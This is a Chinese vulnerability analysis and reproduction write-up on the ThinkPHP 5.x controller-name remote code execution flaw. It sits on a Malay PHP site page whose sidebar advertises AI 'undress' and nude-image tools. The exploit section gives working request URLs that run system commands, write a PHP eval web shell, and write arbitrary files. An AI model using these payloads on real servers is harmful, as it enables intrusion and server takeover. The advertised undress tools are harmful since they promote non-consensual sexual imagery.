ThinkPHP 5.x 远程命令执行漏洞分析与复现
0x00 前言
ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞,受影响的版本包括 5.0 和 5.1 版本,推荐尽快更新到最新版本。
0x01 影响范围
5.x < 5.1.31, <= 5.0.23
0x02 漏洞分析
Thinkphp v5.0.x 补丁地址: https://github.com/top-think/framework/com...
Thinkphp v5.1.x 补丁地址: https://github.com/top-think/framework/com...
路由信息中 controller 的部分进行了过滤,可知问题出现在路由调度时
关键代码:
在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入 \ 符号来调用任意类方法。
其中使用了 $this->app->controller 方法来实例化控制器,然后调用实例中的方法。跟进 controller 方法:
其中通过 parseModuleAndClass 方法解析出 $module 和 $class,然后实例化 $class。
而 parseModuleAndClass 方法中,当 $name 以反斜线 \ 开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的 $name(即路由中的 controller 部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中 route/dispatch/Url.php:: parseUrl 方法调用了 route/Rule.php:: parseUrlPath 来解析 pathinfo 中的路由信息
代码比较简单,就是使用 / 对 $url 进行分割,未进行任何过滤。
其中的路由 url 从 Request::path () 中获取
由于 var_pathinfo 的默认配置为 s,我们可利用 $_GET ['s'] 来传递路由信息,也可利用 pathinfo 来传递,但测试时 windows 环境下会将 $_SERVER ['pathinfo'] 中的 \ 替换为 /。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化 \namespace\class 类并执行 method 方法。
0x03 漏洞利用
docker 漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/...
1. 利用 system 函数远程命令执行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 通过 phpinfo 函数写出 phpinfo () 的信息
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 写入 shell:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
或者
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
Atas ialah kandungan terperinci ThinkPHP 5.x 远程命令执行漏洞分析与复现. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Untuk menjalankan projek ThinkPHP, anda perlu: memasang Komposer untuk mencipta projek, masukkan direktori projek dan laksanakan php bin/console serve;

ThinkPHP mempunyai berbilang versi yang direka untuk versi PHP yang berbeza. Versi utama termasuk 3.2, 5.0, 5.1 dan 6.0, manakala versi kecil digunakan untuk membetulkan pepijat dan menyediakan ciri baharu. Versi stabil terkini ialah ThinkPHP 6.0.16. Apabila memilih versi, pertimbangkan versi PHP, keperluan ciri dan sokongan komuniti. Adalah disyorkan untuk menggunakan versi stabil terkini untuk prestasi dan sokongan terbaik.

Langkah-langkah untuk menjalankan ThinkPHP Framework secara setempat: Muat turun dan nyahzip ThinkPHP Framework ke direktori tempatan. Buat hos maya (pilihan) yang menunjuk ke direktori akar ThinkPHP. Konfigurasikan parameter sambungan pangkalan data. Mulakan pelayan web. Mulakan aplikasi ThinkPHP. Akses URL aplikasi ThinkPHP dan jalankannya.

Perbandingan prestasi rangka kerja Laravel dan ThinkPHP: ThinkPHP umumnya berprestasi lebih baik daripada Laravel, memfokuskan pada pengoptimuman dan caching. Laravel berfungsi dengan baik, tetapi untuk aplikasi yang kompleks, ThinkPHP mungkin lebih sesuai.

"Cadangan Pembangunan: Cara Menggunakan Rangka Kerja ThinkPHP untuk Melaksanakan Tugas Asynchronous" Dengan perkembangan pesat teknologi Internet, aplikasi Web mempunyai keperluan yang semakin tinggi untuk mengendalikan sejumlah besar permintaan serentak dan logik perniagaan yang kompleks. Untuk meningkatkan prestasi sistem dan pengalaman pengguna, pembangun sering mempertimbangkan untuk menggunakan tugas tak segerak untuk melaksanakan beberapa operasi yang memakan masa, seperti menghantar e-mel, memproses muat naik fail, menjana laporan, dsb. Dalam bidang PHP, rangka kerja ThinkPHP, sebagai rangka kerja pembangunan yang popular, menyediakan beberapa cara mudah untuk melaksanakan tugas tak segerak.

Langkah pemasangan ThinkPHP: Sediakan persekitaran PHP, Komposer dan MySQL. Buat projek menggunakan Komposer. Pasang rangka kerja dan kebergantungan ThinkPHP. Konfigurasikan sambungan pangkalan data. Hasilkan kod aplikasi. Lancarkan aplikasi dan lawati http://localhost:8000.

ThinkPHP ialah rangka kerja PHP berprestasi tinggi dengan kelebihan seperti mekanisme caching, pengoptimuman kod, pemprosesan selari dan pengoptimuman pangkalan data. Ujian prestasi rasmi menunjukkan bahawa ia boleh mengendalikan lebih daripada 10,000 permintaan sesaat, dan digunakan secara meluas dalam tapak web dan sistem perusahaan berskala besar seperti JD.com dan Ctrip dalam aplikasi praktikal.

Perkhidmatan RPC berdasarkan ThinkPHP6 dan Swoole melaksanakan fungsi pemindahan fail Pengenalan: Dengan perkembangan Internet, pemindahan fail menjadi semakin penting dalam kerja harian kita. Untuk meningkatkan kecekapan dan keselamatan pemindahan fail, artikel ini akan memperkenalkan kaedah pelaksanaan khusus perkhidmatan RPC berdasarkan ThinkPHP6 dan Swoole untuk melaksanakan fungsi pemindahan fail. Kami akan menggunakan ThinkPHP6 sebagai rangka kerja web dan menggunakan fungsi RPC Swoole untuk mencapai pemindahan fail silang pelayan. 1. Standard alam sekitar
